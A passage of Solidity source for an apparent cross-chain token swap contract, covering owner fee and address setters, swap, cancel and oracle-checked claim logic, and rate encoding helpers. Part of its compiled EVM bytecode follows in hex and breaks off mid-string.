require(licenseeCompensator[msg.sender] != address(0), "licensee is not registered"); require(_fee < 10000, "too big fee"); // fee should be less then 100% licenseeFee[msg.sender] = _fee; return true; } */ // ============================ Owner's functions ============================ //allowed difference in rate between Oracle and provided by company. in percent without decimals (5 = 5%) function setRateDiffLimit(uint256 _rateDiffLimit) external onlyOwner returns(bool) { require(_rateDiffLimit < 100, "too big limit"); // fee should be less then 100% rateDiffLimit = _rateDiffLimit; return true; } //the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3% function setCompanyFee(uint256 _fee) external onlyOwner returns(bool) { require(_fee < 10000, "too big fee"); // fee should be less then 100% companyFee = _fee; return true; } //the fee (in percent wih 2 decimals) that received by company from Swap provider. 30 - means 0.3% function setCompanySPFee(uint256 _fee) external onlyOwner returns(bool) { require(_fee < 10000, "too big fee"); // fee should be less then 100% companySPFee = _fee; return true; } // Reimbursement Percentage without decimals: 100 = 100% function setReimbursementPercentage (uint256 id, uint256 _fee) external onlyOwner returns(bool) { if (id == 1) swapGasReimbursement = _fee; // percentage of swap Gas Reimbursement by SMART tokens else if (id == 2) cancelGasReimbursement = _fee; // percentage of cancel Gas Reimbursement by SMART tokens else if (id == 3) companyFeeReimbursement = _fee; // percentage of company Fee Reimbursement by SMART tokens return true; } function setSystem(address _system, bool _active) external onlyOwner returns(bool) { isSystem[_system] = _active; emit SetSystem(_system, _active); return true; } function setValidator(address payable _validator) external onlyOwner returns(bool) { validator = _validator; return true; } function setForeignFactory(address _addr) external onlyOwner returns(bool) { foreignFactory = _addr; return true; } function setFeeReceiver(address _addr) external onlyOwner returns(bool) { feeReceiver = _addr; return true; } function setReimbursementContractAndVault(address reimbursement, address vault) external onlyOwner returns(bool) { contractSmart = reimbursement; reimbursementVault = vault; return true; } function setAuction(address _addr) external onlyOwner returns(bool) { auction = _addr; return true; } // for ETH side only function changeExchangeAddress(address _which,bool _bool) external onlyOwner returns(bool){ isExchange[_which] = _bool; return true; } function changeExcludedAddress(address _which,bool _bool) external onlyOwner returns(bool){ isExcludedSender[_which] = _bool; return true; } function createPair(address tokenA, uint256 decimalsA, address tokenB, uint256 decimalsB) public onlyOwner returns (uint256) { require(getPairID[tokenA][tokenB] == 0, "Pair exist"); uint256 pairID = ++pairIDCounter; getPairID[tokenA][tokenB] = pairID; getPairByID[pairID] = Pair(tokenA, tokenB); if (decimals[tokenA] == 0) decimals[tokenA] = decimalsA; if (decimals[tokenB] == 0) decimals[tokenB] = decimalsB; return pairID; } function setSPImplementation(address _SPImplementation) external onlyOwner { require(_SPImplementation != address(0)); SPImplementation = _SPImplementation; } // ============================ Internal functions ============================ function _swap( address tokenA, // nativeToken address tokenB, // foreignToken address sender, address receiver, uint256 amountA, bool isInvestment, uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled. uint128 limitPice // Do not match user if token A price less this limit ) internal { uint256 pairID = getPairID[tokenA][tokenB]; require(pairID != 0, "Pair not exist"); if (tokenA > NATIVE_COINS) { TransferHelper.safeTransferFrom(tokenA, sender, address(this), amountA); } // (amount >= msg.value) is checking when pay fee in the function transferFee() address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver); _balanceOf[hashAddress] += amountA; totalSupply[pairID] += amountA; emit SwapRequest(tokenA, tokenB, sender, receiver, amountA, isInvestment, minimumAmountToClaim, limitPice); } function _cancel( address tokenA, // nativeToken address tokenB, // foreignToken address sender, address receiver, uint256 amountA //amount of tokenA to cancel //uint128 foreignBalance // amount of tokenA swapped by hashAddress (get by server-side) ) internal { if(!isSystem[msg.sender]) { // process fee if caller is not System require(msg.value >= IValidator(validator).getOracleFee(1), "Insufficient fee"); // check oracle fee for Cancel request collectedFees += msg.value; if(contractSmart != address(0) && !isExcludedSender[sender]) { uint256 feeAmount = (msg.value + 60000*tx.gasprice) * cancelGasReimbursement / 100; if (feeAmount != 0) IReimbursement(contractSmart).requestReimbursement(sender, feeAmount, reimbursementVault); } } address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver); uint256 pairID = getPairID[tokenA][tokenB]; require(pairID != 0, "Pair not exist"); if (cancelRequest[hashAddress].amount == 0) { // new cancel request uint256 balance = _balanceOf[hashAddress]; require(balance >= amountA && amountA != 0, "Wrong amount"); totalSupply[pairID] = totalSupply[pairID] - amountA; _balanceOf[hashAddress] = balance - amountA; } else { revert("There is pending cancel request"); } cancelRequest[hashAddress] = Cancel(uint64(pairID), sender, amountA); // request Oracle for fulfilled amount from hashAddress IValidator(validator).checkBalance(foreignFactory, hashAddress); emit CancelRequest(hashAddress, amountA); //emit CancelRequest(tokenA, tokenB, sender, receiver, amountA); } function _cancelApprove(address hashAddress, uint256 foreignBalance) internal { Cancel memory c = cancelRequest[hashAddress]; delete cancelRequest[hashAddress]; //require(c.foreignBalance == foreignBalance, "Oracle error"); uint256 balance = _balanceOf[hashAddress]; uint256 amount = uint256(c.amount); uint256 pairID = uint256(c.pairID); if (foreignBalance <= balance) { //approved - transfer token to its sender _transfer(getPairByID[pairID].tokenA, c.sender, amount); } else { //disapproved balance += amount; _balanceOf[hashAddress] = balance; totalSupply[pairID] += amount; amount = 0; } emit CancelApprove(hashAddress, amount); } function _claimTokenBehalf( address tokenA, // foreignToken address tokenB, // nativeToken address sender, address receiver, bool isInvestment, uint128 amountA, //amount of tokenA that has to be swapped uint128 currentRate, // rate with 18 decimals: tokenA price / tokenB price uint256 foreignBalance // total tokens amount sent bu user to pair on other chain // [1] foreignSpent, [2] nativeSpent, [3] nativeRate ) internal { uint256 pairID = getPairID[tokenB][tokenA]; // getPairID[nativeToken][foreignToken] require(pairID != 0, "Pair not exist"); // check rate uint256 diffRate; uint256 oracleRate = IValidator(validator).getRate(tokenB, tokenA); if (uint256(currentRate) < oracleRate) { diffRate = 100 - (uint256(currentRate) * 100 / oracleRate); } else { diffRate = 100 - (oracleRate * 100 / uint256(currentRate)); } require(diffRate <= rateDiffLimit, "Wrong rate"); uint64 claimID; address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver); if (claimRequest[hashAddress].amount == 0) { // new claim request _balanceOf[hashAddress] += uint256(amountA); // total swapped amount of foreign token claimID = uint64(++claimIdCounter); } else { // repeat claim request in case oracle issues. claimID = claimRequest[hashAddress].claimID; if (amountA == 0) { // cancel claim request emit ClaimApprove(hashAddress, claimID, 0, 0, claimRequest[hashAddress].isInvestment); _balanceOf[hashAddress] = _balanceOf[hashAddress] - claimRequest[hashAddress].amount; delete claimRequest[hashAddress]; return; } amountA = claimRequest[hashAddress].amount; } address[] memory users = new address[](3); users[0] = hashAddress; users[1] = _getHashAddress(tokenA, tokenB, address(0), address(0)); // Native hash address on foreign chain users[2] = _getHashAddress(tokenB, tokenA, address(0), address(0)); // Foreign hash address on foreign chain claimRequest[hashAddress] = Claim(uint64(pairID), sender, receiver, claimID, isInvestment, amountA, currentRate, foreignBalance); IValidator(validator).checkBalances(foreignFactory, users); emit ClaimRequest(hashAddress, claimID, amountA, isInvestment); //emit ClaimRequest(tokenA, tokenB, sender, receiver, amountA); } // Approve or disapprove claim request. function _claimBehalfApprove( address hashAddress, uint256 foreignBalance, // total user's tokens balance on foreign chain uint256 foreignSpent, // total tokens spent by SmartSwap pair uint256 nativeEncoded // (nativeSpent, nativeRate) = _decode(nativeEncoded) ) internal { Claim memory c = claimRequest[hashAddress]; delete claimRequest[hashAddress]; //address hashSwap = _getHashAddress(getPairByID[c.pairID].tokenB, getPairByID[c.pairID].tokenA, c.sender, c.receiver); uint256 balance = _balanceOf[hashAddress]; // swapped amount of foreign tokens (include current claim amount) uint256 amount = uint256(c.amount); // amount of foreign token to swap require (amount != 0, "No active claim request"); require(foreignBalance >= c.foreignBalance, "Oracle error"); uint256 nativeAmount; uint256 rest; if (foreignBalance >= balance) { //approve, user deposited not less foreign tokens then want to swap uint256 pairID = uint256(c.pairID); (uint256 nativeRate, uint256 nativeSpent) = _decode(nativeEncoded); (nativeAmount, rest) = _calculateAmount( pairID, amount, uint256(c.currentRate), foreignSpent, nativeSpent, nativeRate ); if (rest != 0) { _balanceOf[hashAddress] = balance - rest; // not all amount swapped amount = amount - rest; // swapped amount } require(totalSupply[pairID] >= nativeAmount, "Not enough Total Supply"); // may be commented totalSupply[pairID] = totalSupply[pairID] - nativeAmount; if (c.isInvestment) _contributeFromSmartSwap(getPairByID[pairID].tokenA, c.receiver, c.sender, nativeAmount); else _transfer(getPairByID[pairID].tokenA, c.receiver, nativeAmount); } else { //disapprove, discard claim _balanceOf[hashAddress] = balance - amount; amount = 0; } emit ClaimApprove(hashAddress, c.claimID, nativeAmount, amount, c.isInvestment); } // use structure to avoid stack too deep struct CalcVariables { // 18 decimals nominator with decimals converter: // Foreign = Native * Rate(18) / nominatorNativeToForeign uint256 nominatorForeignToNative; // 10**(18 + foreign decimals - native decimals) uint256 nominatorNativeToForeign; // 10**(18 + native decimals - foreign decimals) uint256 localNative; // already swapped Native tokens = _balanceOf[hashNative] uint256 localForeign; // already swapped Foreign tokens = decoded _balanceOf[hashForeign] uint256 localForeignRate; // Foreign token price / Native token price = decoded _balanceOf[hashForeign] address hashNative; // _getHashAddress(tokenA, tokenB, address(0), address(0)); address hashForeign; // _getHashAddress(tokenB, tokenA, address(0), address(0)); } function _calculateAmount( uint256 pairID, uint256 foreignAmount, uint256 rate, // Foreign token price / Native token price = (Native amount / Foreign amount) uint256 foreignSpent, // already swapped Foreign tokens (got from foreign contract) uint256 nativeSpent, // already swapped Native tokens (got from foreign contract) uint256 nativeRate // Native token price / Foreign token price. I.e. on BSC side: BNB price / ETH price = 0.2 ) internal returns(uint256 nativeAmount, uint256 rest) { CalcVariables memory vars; { address tokenA = getPairByID[pairID].tokenA; address tokenB = getPairByID[pairID].tokenB; uint256 nativeDecimals = decimals[tokenA]; uint256 foreignDecimals = decimals[tokenB]; vars.nominatorForeignToNative = 10**(18+foreignDecimals-nativeDecimals); vars.nominatorNativeToForeign = 10**(18+nativeDecimals-foreignDecimals); vars.hashNative = _getHashAddress(tokenA, tokenB, address(0), address(0)); vars.hashForeign = _getHashAddress(tokenB, tokenA, address(0), address(0)); vars.localNative = _balanceOf[vars.hashNative]; (vars.localForeignRate, vars.localForeign) = _decode(_balanceOf[vars.hashForeign]); } // step 1. Check is it enough unspent native tokens { require(nativeSpent >= vars.localNative, "NativeSpent balance higher then remote"); uint256 nativeAvailable = nativeSpent - vars.localNative; // nativeAvailable - amount ready to spend native tokens // nativeRate = Native token price / Foreign token price. I.e. on BSC side BNB price / ETH price = 0.2 if (nativeAvailable != 0) { // ? uint256 requireAmount = foreignAmount * vars.nominatorNativeToForeign / nativeRate; if (requireAmount <= nativeAvailable) { nativeAmount = requireAmount; // use already swapped tokens foreignAmount = 0; } else { nativeAmount = nativeAvailable; foreignAmount = (requireAmount - nativeAvailable) * nativeRate / vars.nominatorNativeToForeign; } _balanceOf[vars.hashNative] += nativeAmount; } } require(totalSupply[pairID] >= nativeAmount,"ERR: Not enough Total Supply"); // step 2. recalculate rate for swapped tokens if (foreignAmount != 0) { // i.e. on BSC side: rate = ETH price / BNB price = 5 uint256 requireAmount = foreignAmount * rate / vars.nominatorForeignToNative; if (totalSupply[pairID] < nativeAmount + requireAmount) { requireAmount = totalSupply[pairID] - nativeAmount; rest = foreignAmount - (requireAmount * vars.nominatorForeignToNative / rate); foreignAmount = foreignAmount - rest; emit PartialClaim(rest, totalSupply[pairID], nativeAmount); } nativeAmount = nativeAmount + requireAmount; require(vars.localForeign >= foreignSpent, "ForeignSpent balance higher then local"); uint256 foreignAvailable = vars.localForeign - foreignSpent; // vars.localForeignRate, foreignAvailable - rate and amount swapped foreign tokens if (foreignAvailable != 0) { // recalculate avarage rate (native amount / foreign amount) rate = ((foreignAvailable * vars.localForeignRate) + (requireAmount * vars.nominatorForeignToNative)) / (foreignAvailable + foreignAmount); } _balanceOf[vars.hashForeign] = _encode(rate, vars.localForeign + foreignAmount); } } // transfer fee to receiver and request SMART token as compensation. // tokenA - token that user send // amount - amount of tokens that user send // user - address of user function _transferFee(address tokenA, uint256 amount, uint256 fee, address user, address licensee) internal { uint256 txGas = gasleft(); uint256 feeAmount = msg.value; uint256 companyFeeAmount; // company fee uint256 _companyFee; if (isLiquidityProvider[msg.sender]) { _companyFee = companySPFee; user = ISPImplementation(msg.sender).owner(); } else { _companyFee = companyFee; } if (tokenA < NATIVE_COINS) { require(feeAmount >= amount, "Insuficiant value"); // if native coin, then feeAmount = msg.value - swap amount feeAmount -= amount; companyFeeAmount = amount * _companyFee / 10000; // company fee } require(feeAmount >= processingFee + fee && fee >= companyFeeAmount, "Insufficient processing fee"); if (contractSmart == address(0)) { collectedProcessingFee += feeAmount; return; // return if no reimbursement contract } uint256 _processingFee = feeAmount - fee; uint256 licenseeFeeAmount; if (licensee != address(0)) { uint256 licenseeFeeRate = IReimbursement(contractSmart).getLicenseeFee(licensee, address(this)); if (licenseeFeeRate != 0 && fee != 0) { if (tokenA < NATIVE_COINS) { licenseeFeeAmount = amount * licenseeFeeRate / 10000; } else { licenseeFeeAmount = (fee * licenseeFeeRate)/(licenseeFeeRate + _companyFee); companyFeeAmount = fee - licenseeFeeAmount; } } } if (fee >= companyFeeAmount + licenseeFeeAmount) { companyFeeAmount = fee - licenseeFeeAmount; } else { revert("Insuficiant fee"); } if (licenseeFeeAmount != 0) { address licenseeFeeTo = IReimbursement(contractSmart).requestReimbursement(user, licenseeFeeAmount, licensee); if (licenseeFeeTo == address(0)) { TransferHelper.safeTransferETH(user, licenseeFeeAmount); // refund to user } else { TransferHelper.safeTransferETH(licenseeFeeTo, licenseeFeeAmount); // transfer to fee receiver } } collectedFees += companyFeeAmount; collectedProcessingFee += _processingFee; if(!isExcludedSender[user]) { txGas -= gasleft(); // get gas amount that was spent on Licensee fee feeAmount = (companyFeeAmount * companyFeeReimbursement + (_processingFee + (txGas + 73000)*tx.gasprice) * swapGasReimbursement) / 100; if (feeAmount != 0) IReimbursement(contractSmart).requestReimbursement(user, feeAmount, reimbursementVault); } } // contribute from SmartSwap on user behalf function _contributeFromSmartSwap(address token, address to, address user, uint256 value) internal { if (token < NATIVE_COINS) { IAuction(to).contributeFromSmartSwap{value: value}(payable(user)); } else { IERC20(token).approve(to, value); IAuction(to).contributeFromSmartSwap(token, value, user); } } // call appropriate transfer function function _transfer(address token, address to, uint256 value) internal { if (token < NATIVE_COINS) TransferHelper.safeTransferETH(to, value); else TransferHelper.safeTransfer(token, to, value); } // encode 64 bits of rate (decimal = 9). and 192 bits of amount // into uint256 where high 64 bits is rate and low 192 bit is amount // rate = foreign token price / native token price function _encode(uint256 rate, uint256 amount) internal pure returns(uint256 encodedBalance) { require(amount < MAX_AMOUNT, "Amount overflow"); require(rate < MAX_AMOUNT, "Rate overflow"); encodedBalance = rate * MAX_AMOUNT + amount; } // decode from uint256 where high 64 bits is rate and low 192 bit is amount // rate = foreign token price / native token price function _decode(uint256 encodedBalance) internal pure returns(uint256 rate, uint256 amount) { rate = encodedBalance / MAX_AMOUNT; amount = uint128(encodedBalance); } function _getHashAddress( address tokenA, address tokenB, address sender, address receiver ) internal pure returns (address) { return address(uint160(uint256(keccak256(abi.encodePacked(tokenA, tokenB, sender, receiver))))); } /** * @dev Deploys and returns the address of a clone that mimics the behavior of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /*// ============================= START for TEST only ============================================================= function reset(uint pairID) external onlyOwner { payable(msg.sender).transfer(address(this).balance); collectedFees = 1; address tokenA = getPairByID[pairID].tokenA; if (tokenA > NATIVE_COINS) { uint balance = IERC20(tokenA).balanceOf(address(this)); TransferHelper.safeTransfer(tokenA, msg.sender, balance); } address nativeHash = _getHashAddress(tokenA, getPairByID[pairID].tokenB, address(0), address(0)); address foreignHash = _getHashAddress(getPairByID[pairID].tokenB, tokenA, address(0), address(0)); _balanceOf[nativeHash] = 0; _balanceOf[foreignHash] = 0; totalSupply[pairID] = 0; } function clearBalances(uint pairID, address[] calldata users) external onlyOwner { address tokenA = getPairByID[pairID].tokenA; address tokenB = getPairByID[pairID].tokenB; for (uint i = 0; i < users.length; i++) { _balanceOf[users[i]] = 0; delete claimRequest[users[i]]; address hashAddress = _getHashAddress(tokenA, tokenB, users[i], users[i]); _balanceOf[hashAddress] = 0; delete claimRequest[hashAddress]; hashAddress = _getHashAddress(tokenB, tokenA, users[i], users[i]); _balanceOf[hashAddress] = 0; delete claimRequest[hashAddress]; } } */// =============================== END for TEST only ============================================================= }
0x6080604052600436106103a15760003560e01c806399f7854a116101e7578063c74b6a5c1161010d578063e5a66827116100a0578063f587477a1161006f578063f587477a14610c7a578063fad45e8714610c9a578063fc0ba54514610cb0578063fca4a63314610cd057600080fd5b8063e5a6682714610bfa578063efdcd97414610c1a578063f06604a414610c3a578063f2fde38b14610c5a57600080fd5b8063d449a832116100dc578063d449a83214610b84578063d4947ce414610bb1578063de1881a814610bd1578063e0e45f0e14610be757600080fd5b8063c74b6a5c14610b04578063c93026d614610b24578063ceac4dce14610b44578063d104451a14610b6457600080fd5b8063b3f0067411610185578063bbb6719011610154578063bbb6719014610a77578063bd85b03914610a97578063c4d66de814610ac4578063c6276c9714610ae457600080fd5b8063b3f00674146109a6578063b682c0bb146109c6578063b7492daf14610a27578063b8c6f57914610a5757600080fd5b8063a878483f116101c1578063a878483f146108d3578063ad419c59146108f3578063af98f75714610913578063b009b3931461099057600080fd5b806399f7854a146108775780639a1032b3146108a7578063a27a8859146108bd57600080fd5b80635cbed263116102cc5780637d9f6db51161026a5780638da5cb5b116102395780638da5cb5b146108045780638dd09c37146108225780639461446d1461084257806399d32fc41461086257600080fd5b80637d9f6db51461079b57806380c4f94a146107bb578063850853fd146107d15780638ca1d2bf146107e457600080fd5b806370a08231116102a657806370a08231146106ed57806373fee4691461072357806379bd4cd3146107435780637c28115b1461077b57600080fd5b80635cbed263146105c657806364d22301146105e657806365723c2d146105fc57600080fd5b80632b3e7cdb116103445780633a5381b5116103135780633a5381b51461051e578063416fe85c14610556578063447f25ef1461057657806351cd5e431461058b57600080fd5b80632b3e7cdb1461049b5780632d8e9a14146104bb578063303d19d5146104db57806334cdcf26146104ee57600080fd5b80630f656e2c116103805780630f656e2c146104305780631327d3d814610450578063163dbd61146104705780631ed857231461048557600080fd5b806236d2d3146103a6578063020b01ac146103eb5780630274065c1461040d575b600080fd5b3480156103b257600080fd5b506103d66103c136600461409e565b60096020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156103f757600080fd5b5061040b61040636600461409e565b610cf0565b005b34801561041957600080fd5b50610422610d67565b6040519081526020016103e2565b34801561043c57600080fd5b5061040b61044b3660046143dd565b610d7d565b34801561045c57600080fd5b506103d661046b36600461409e565b610e97565b34801561047c57600080fd5b50610422610ef6565b34801561049157600080fd5b50610422600c5481565b3480156104a757600080fd5b506103d66104b636600461409e565b610f86565b3480156104c757600080fd5b506103d66104d63660046143af565b610fe4565b6103d66104e936600461409e565b61104d565b3480156104fa57600080fd5b506103d661050936600461409e565b60046020526000908152604090205460ff1681565b34801561052a57600080fd5b5060025461053e906001600160a01b031681565b6040516001600160a01b0390911681526020016103e2565b34801561056257600080fd5b506103d66105713660046143af565b611190565b34801561058257600080fd5b5061042261122f565b34801561059757600080fd5b506105ab6105a6366004614499565b611240565b604080519384526020840192909252908201526060016103e2565b3480156105d257600080fd5b506103d66105e13660046143dd565b6112e5565b3480156105f257600080fd5b5061042260135481565b34801561060857600080fd5b5061068a61061736600461409e565b60196020526000908152604090208054600182015460028301546003909301546001600160401b0380841694600160401b9094046001600160a01b039081169490841693600160a01b810490921692600160e01b90920460ff16916001600160801b0380831692600160801b9004169088565b604080516001600160401b03998a1681526001600160a01b0398891660208201529690971696860196909652929095166060840152151560808301526001600160801b0393841660a08301529290921660c083015260e0820152610100016103e2565b3480156106f957600080fd5b5061042261070836600461409e565b6001600160a01b031660009081526017602052604090205490565b34801561072f57600080fd5b5060015461053e906001600160a01b031681565b34801561074f57600080fd5b5061042261075e3660046140d8565b601560209081526000928352604080842090915290825290205481565b34801561078757600080fd5b50601c5461053e906001600160a01b031681565b3480156107a757600080fd5b5060055461053e906001600160a01b031681565b3480156107c757600080fd5b50610422600d5481565b6103d66107df36600461426b565b611345565b3480156107f057600080fd5b506103d66107ff366004614499565b61135f565b34801561081057600080fd5b506000546001600160a01b031661053e565b34801561082e57600080fd5b506103d661083d36600461416d565b6113e3565b34801561084e57600080fd5b506103d661085d366004614499565b61146f565b34801561086e57600080fd5b506104226114e5565b34801561088357600080fd5b506103d661089236600461409e565b601a6020526000908152604090205460ff1681565b3480156108b357600080fd5b5061042260035481565b3480156108c957600080fd5b50610422600e5481565b3480156108df57600080fd5b5061053e6108ee366004614111565b61151f565b3480156108ff57600080fd5b506103d661090e366004614441565b611536565b34801561091f57600080fd5b5061096361092e36600461409e565b601860205260009081526040902080546001909101546001600160401b03821691600160401b90046001600160a01b03169083565b604080516001600160401b0390941684526001600160a01b039092166020840152908201526060016103e2565b34801561099c57600080fd5b50610422601e5481565b3480156109b257600080fd5b5060105461053e906001600160a01b031681565b3480156109d257600080fd5b50610a076109e1366004614499565b601460205260009081526040902080546001909101546001600160a01b03918216911682565b604080516001600160a01b039384168152929091166020830152016103e2565b348015610a3357600080fd5b506103d6610a4236600461409e565b600a6020526000908152604090205460ff1681565b348015610a6357600080fd5b506103d6610a7236600461409e565b61158f565b348015610a8357600080fd5b506103d6610a92366004614360565b6115ef565b348015610aa357600080fd5b50610422610ab2366004614499565b60166020526000908152604090205481565b348015610ad057600080fd5b5061040b610adf36600461409e565b61168b565b348015610af057600080fd5b506103d6610aff3660046140d8565b61171c565b348015610b1057600080fd5b50610422610b1f366004614111565b611789565b348015610b3057600080fd5b50610422610b3f366004614409565b6117be565b348015610b5057600080fd5b50601d5461053e906001600160a01b031681565b348015610b7057600080fd5b5061053e610b7f366004614207565b61194b565b348015610b9057600080fd5b50610422610b9f36600461409e565b60126020526000908152604090205481565b348015610bbd57600080fd5b506103d6610bcc3660046143af565b611a4e565b348015610bdd57600080fd5b50610422600f5481565b6103d6610bf53660046142bc565b611ab8565b348015610c0657600080fd5b506103d6610c15366004614499565b611ae7565b348015610c2657600080fd5b506103d6610c3536600461409e565b611b6a565b348015610c4657600080fd5b5060065461053e906001600160a01b031681565b348015610c6657600080fd5b5061040b610c7536600461409e565b611bca565b348015610c8657600080fd5b506103d6610c95366004614499565b611cc3565b348015610ca657600080fd5b50610422600b5481565b348015610cbc57600080fd5b506103d6610ccb366004614207565b611d46565b348015610cdc57600080fd5b506103d6610ceb3660046144cb565b611dc0565b33610d036000546001600160a01b031690565b6001600160a01b031614610d325760405162461bcd60e51b8152600401610d29906145de565b60405180910390fd5b6001600160a01b038116610d4557600080fd5b601d80546001600160a01b0319166001600160a01b0392909216919091179055565b60006001601f54610d78919061477f565b905090565b3360009081526004602052604090205460ff1680610daa5750336000908152601a602052604090205460ff165b80610dce575033610dc36000546001600160a01b031690565b6001600160a01b0316145b610dea5760405162461bcd60e51b8152600401610d29906145a7565b6006546001600160a01b03168015801590610e0457508115155b15610e9257601c546040516305c2b27f60e21b81526001600160a01b038084169263170ac9fc92610e3e9288928892911690600401614584565b602060405180830381600087803b158015610e5857600080fd5b505af1158015610e6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9091906140bb565b505b505050565b600033610eac6000546001600160a01b031690565b6001600160a01b031614610ed25760405162461bcd60e51b8152600401610d29906145de565b50600280546001600160a01b0319166001600160a01b03831617905560015b919050565b3360009081526004602052604081205460ff1680610f235750336000908152601a602052604090205460ff165b80610f47575033610f3c6000546001600160a01b031690565b6001600160a01b0316145b610f635760405162461bcd60e51b8152600401610d29906145a7565b6001601f54610f72919061477f565b6001601f559050610f833382611e34565b90565b600033610f9b6000546001600160a01b031690565b6001600160a01b031614610fc15760405162461bcd60e51b8152600401610d29906145de565b50600180546001600160a01b0383166001600160a01b0319909116178155919050565b600033610ff96000546001600160a01b031690565b6001600160a01b03161461101f5760405162461bcd60e51b8152600401610d29906145de565b506001600160a01b0382166000908152600960205260409020805460ff191682151517905560015b92915050565b3360009081526009602052604081205460ff166110ac5760405162461bcd60e51b815260206004820152601760248201527f4e6f7420616e2045786368616e676520616464726573730000000000000000006044820152606401610d29565b600f546002906001906000906110c2903461477f565b9050600e546127106110d4919061463b565b6110e082612710614760565b6110ea9190614653565b90506000600f54826110fc919061463b565b611106903461477f565b9050856001600160a01b0316336001600160a01b03167ff21d745575776c13a19c2b9cd4711368a169524d76ec72126d4d1b7fd9346d653460405161114d91815260200190565b60405180910390a3611163848383896000611efd565b600554611184908590859089906001600160a01b0316866001600080612435565b50600195945050505050565b6000336111a56000546001600160a01b031690565b6001600160a01b0316146111cb5760405162461bcd60e51b8152600401610d29906145de565b6001600160a01b038316600081815260046020908152604091829020805460ff191686151590811790915591519182527f013f2d5452b8ade9ddedece9c58ffc5a612d8c9d10349b58008c881caa924a86910160405180910390a250600192915050565b60006001601154610d78919061477f565b60008181526014602052604081208054600190910154829182918291611274916001600160a01b0391821691168380612573565b60008681526014602052604081206001810154905492935090916112a6916001600160a01b0390811691168380612573565b6001600160a01b038084166000908152601760205260408082205492841682529020549096509091506112d8906125d4565b9597959650949350505050565b6002546000906001600160a01b031633146113325760405162461bcd60e51b815260206004820152600d60248201526c2737ba103b30b634b230ba37b960991b6044820152606401610d29565b61133c83836125f7565b50600192915050565b6000611354858533868661273e565b506001949350505050565b6000336113746000546001600160a01b031690565b6001600160a01b03161461139a5760405162461bcd60e51b8152600401610d29906145de565b606482106113da5760405162461bcd60e51b815260206004820152600d60248201526c1d1bdbc8189a59c81b1a5b5a5d609a1b6044820152606401610d29565b50600355600190565b3360009081526004602052604081205460ff16806114105750336000908152601a602052604090205460ff165b806114345750336114296000546001600160a01b031690565b6001600160a01b0316145b6114505760405162461bcd60e51b8152600401610d29906145a7565b6114608989898989898989612bd7565b50600198975050505050505050565b3360009081526004602052604081205460ff168061149c5750336000908152601a602052604090205460ff165b806114c05750336114b56000546001600160a01b031690565b6001600160a01b0316145b6114dc5760405162461bcd60e51b8152600401610d29906145a7565b50600f55600190565b6010546000906001600160a01b031633146114ff57600080fd5b600160115461150e919061477f565b60016011559050610f833382611e34565b600061152d85858585612573565b95945050505050565b6002546000906001600160a01b031633146115835760405162461bcd60e51b815260206004820152600d60248201526c2737ba103b30b634b230ba37b960991b6044820152606401610d29565b61135485858585613319565b6000336115a46000546001600160a01b031690565b6001600160a01b0316146115ca5760405162461bcd60e51b8152600401610d29906145de565b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b3360009081526004602052604081205460ff168061161c5750336000908152601a602052604090205460ff165b806116405750336116356000546001600160a01b031690565b6001600160a01b0316145b61165c5760405162461bcd60e51b8152600401610d29906145a7565b60055460019061167e908890839089906001600160a01b0316828a8a8a612bd7565b5060019695505050505050565b6001600160a01b038116158015906116ac57506000546001600160a01b0316155b6116b557600080fd5b600080546001600160a01b0319166001600160a01b0383161781556040513391907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060056003556064600b819055600c819055600d556000600e556001601155565b6000336117316000546001600160a01b031690565b6001600160a01b0316146117575760405162461bcd60e51b8152600401610d29906145de565b50600680546001600160a01b039384166001600160a01b031991821617909155601c8054929093169116179055600190565b60006017600061179b87878787612573565b6001600160a01b0316815260208101919091526040016000205495945050505050565b6000336117d36000546001600160a01b031690565b6001600160a01b0316146117f95760405162461bcd60e51b8152600401610d29906145de565b6001600160a01b03808616600090815260156020908152604080832093871683529290522054156118595760405162461bcd60e51b815260206004820152600a60248201526914185a5c88195e1a5cdd60b21b6044820152606401610d29565b600060136000815461186a90614796565b91829055506001600160a01b0380881660008181526015602090815260408083208a86168085529083528184208790558151808301835285815280840191825287855260148452828520905181549088166001600160a01b0319918216178255915160019091018054919097169116179094559181526012909152205490915061190a576001600160a01b03861660009081526012602052604090208590555b6001600160a01b03841660009081526012602052604090205461152d576001600160a01b038416600090815260126020526040902083905595945050505050565b601d54600090611963906001600160a01b031661368f565b60405163256dbbc360e21b81523360048201526001600160a01b03888116602483015287811660448301528681166064830152858116608483015260a48201859052919250908216906395b6ef0c9060c401600060405180830381600087803b1580156119cf57600080fd5b505af11580156119e3573d6000803e3d6000fd5b505050506001600160a01b0381166000818152601a6020908152604091829020805460ff191660011790558151338152908101929092527fa1eff58c8543affdfb5afa33295ae122f9b6fd5a1f6b5ba48a39014cfcb70b5d910160405180910390a195945050505050565b600033611a636000546001600160a01b031690565b6001600160a01b031614611a895760405162461bcd60e51b8152600401610d29906145de565b506001600160a01b0382166000908152600a60205260409020805482151560ff19909116179055600192915050565b6000611ac78a8884338a611efd565b611ad78a8a338b8b8a8a8a612435565b5060019998505050505050505050565b600033611afc6000546001600160a01b031690565b6001600160a01b031614611b225760405162461bcd60e51b8152600401610d29906145de565b6127108210611b615760405162461bcd60e51b815260206004820152600b60248201526a746f6f206269672066656560a81b6044820152606401610d29565b50601e55600190565b600033611b7f6000546001600160a01b031690565b6001600160a01b031614611ba55760405162461bcd60e51b8152600401610d29906145de565b50601080546001600160a01b0383166001600160a01b03199091161790556001919050565b33611bdd6000546001600160a01b031690565b6001600160a01b031614611c035760405162461bcd60e51b8152600401610d29906145de565b6001600160a01b038116611c685760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206